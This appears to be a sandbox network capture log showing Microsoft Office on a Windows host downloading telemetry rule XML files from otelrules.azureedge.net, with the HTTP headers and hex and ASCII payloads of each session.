2024-11-18 01:34:27 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:27 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013427Z-16547b76f7fwm7vghC1DFW900s00000002mg00000000q6bd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:27 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013427Z-16547b76f7fm8pcwhC1DFWaxcc00000003a00000000006c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:27 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013427Z-16547b76f7fd77jrhC1DFWfwq000000001wg00000000240m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:27 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1d52295f-e01e-0051-7dc4-3784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013428Z-1866b5c5fbbfrdddhC1DFW7e9000000001600000000079g9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:28 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:28 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013428Z-1866b5c5fbbx98hfhC1DFWuqmg00000003z0000000001dd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:28 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013428Z-16547b76f7fmcv27hC1DFWgpcg00000003y00000000084ep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:28 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013428Z-1866b5c5fbbz7hb5hC1DFWru7c00000004y000000000hs0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:28 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:28 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-16547b76f7fbkfmzhC1DFWm9tw00000004t0000000007fsp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:29 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:28 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-16547b76f7fr5rfnhC1DFW0am400000002f000000000py9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:29 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:28 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-1866b5c5fbbfhwqqhC1DFW513800000004gg00000000db56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:29 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-16547b76f7ftfv4jhC1DFWuhug00000002kg00000000sf0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:29 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:29 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-164f84587bfrrmqdhC1DFWvu6s00000003q000000000g795 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
